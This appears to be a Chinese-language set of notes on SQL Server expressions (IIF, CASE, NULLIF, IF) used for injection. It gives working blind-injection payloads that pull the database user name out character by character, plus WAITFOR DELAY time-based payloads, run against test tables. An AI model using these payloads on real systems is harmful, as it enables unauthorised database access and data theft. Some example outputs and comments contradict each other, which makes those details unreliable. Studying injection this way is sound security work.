0x01 IIF 表达式

  1. IIF 关键字是SQL Server 2012及上以版本才有的
  1. 解释: SELECT IIF(表达式, 表达式成立时返回, 表达式不成立时返回)

0x01.1 IIF表达式例子

SQL 结果
select IIF(1=1,1,0); 1
select IIF(1=2,1,0); 0

0x02 CASE表达式

  1. 解释1:
  2. select case 表达式
  3. when 判断条件 then 返回结果
  4. else 条件不成立时返回 end
  1. 解释2:
  2. case 后面紧跟要被作为判断的字段
  3. when 后面跟判断条件
  4. then 后面跟结果
  5. else 相当于 default
  6. end 是语句结束语

0x02.1 CASE表达式例子

SQL 结果
select case 1
when 1 then ‘成功’
when 2 then ‘失败’
else ‘其他’ end;
成功
select case 2
when 1 then ‘成功’
when 2 then ‘失败’
else ‘其他’ end;
失败
select case 3
when 1 then ‘成功’
when 2 then ‘失败’
else ‘其他’ end;
其他

0x03 NULLIF(expr1, expr2)

  1. NULLIF(expr1, expr2) 比较两个字符串,如果字符串 expr1 expr2 相等 返回 NULL,否则返回 expr1
user() 数据转ascii
SQL SUBSTRING(user,1,1) 结果 ascii(SUBSTRING(user,1,1)) 结果
select ascii(SUBSTRING(user,1,1)); d 100
select ascii(SUBSTRING(user,2,1)); b 98
基础表数据
id username password
1 test-user-01 123456
2 test-user-02 234567
  1. # 表示注入失败的时候
  2. # 匹配不相等的话返回的是 NULLIF 第一个参数的结果值
  3. sql server> select * from users where id='1' and NULLIF(ascii(SUBSTRING(user,1,1)),99)>=1;
  4. +----+-------+
  5. | id | name |
  6. +----+-------+
  7. | 1 | bbb |
  8. +----+-------+
  9. 1 row in set
  1. # 表示注入成功的时候
  2. # 匹配相等会返回 NULL 所以sql不会返回数据
  3. sql server> select * from users where id='1' and NULLIF(ascii(SUBSTRING(user,1,1)),99)>=1;
  4. Empty set
  1. # 获取到的数据转成十进制
  2. sql server> select concat(nchar('100'),nchar('98'));
  3. +--------+
  4. | field1 |
  5. +--------+
  6. | db |
  7. +--------+

0x04 IF 表达式延时

经常用于 SQL Server 延时注入

  1. # 测试数据
  2. 1> select * from article;
  3. 2> go
  4. +----+-----------+-----------+
  5. | id | title | content |
  6. +----+-----------+-----------+
  7. | 1 | 测试标题 | 测试内容 |
  8. | 2 | 测试标题2 | 测试内容2 |
  9. +----+-----------+-----------+
  10. (2 rows affected)
  1. # 条件成立时
  2. # 当if 里面的判断 1=1 时 会执行后面的 waitfor delay '0:0:5' 数据库会延时5S
  3. 1> select * from article WHERE id=1 IF(1=1) waitfor delay '0:0:5';
  4. 2> go
  5. +----+----------+----------+
  6. | id | title | content |
  7. +----+----------+----------+
  8. | 1 | 测试标题 | 测试内容 |
  9. +----+----------+----------+
  10. (1 rows affected) (5.15 sec)
  1. # 条件不成立时
  2. # 当 if 里面的判断 1!=2 时 不会执行后面的 waitfor delay '0:0:5' 所以数据库不会延时
  3. 1> select * from article WHERE id=1 IF(1=2) waitfor delay '0:0:5';
  4. 2> go
  5. +----+----------+----------+
  6. | id | title | content |
  7. +----+----------+----------+
  8. | 1 | 测试标题 | 测试内容 |
  9. +----+----------+----------+
  10. (1 rows affected) (0.05 sec)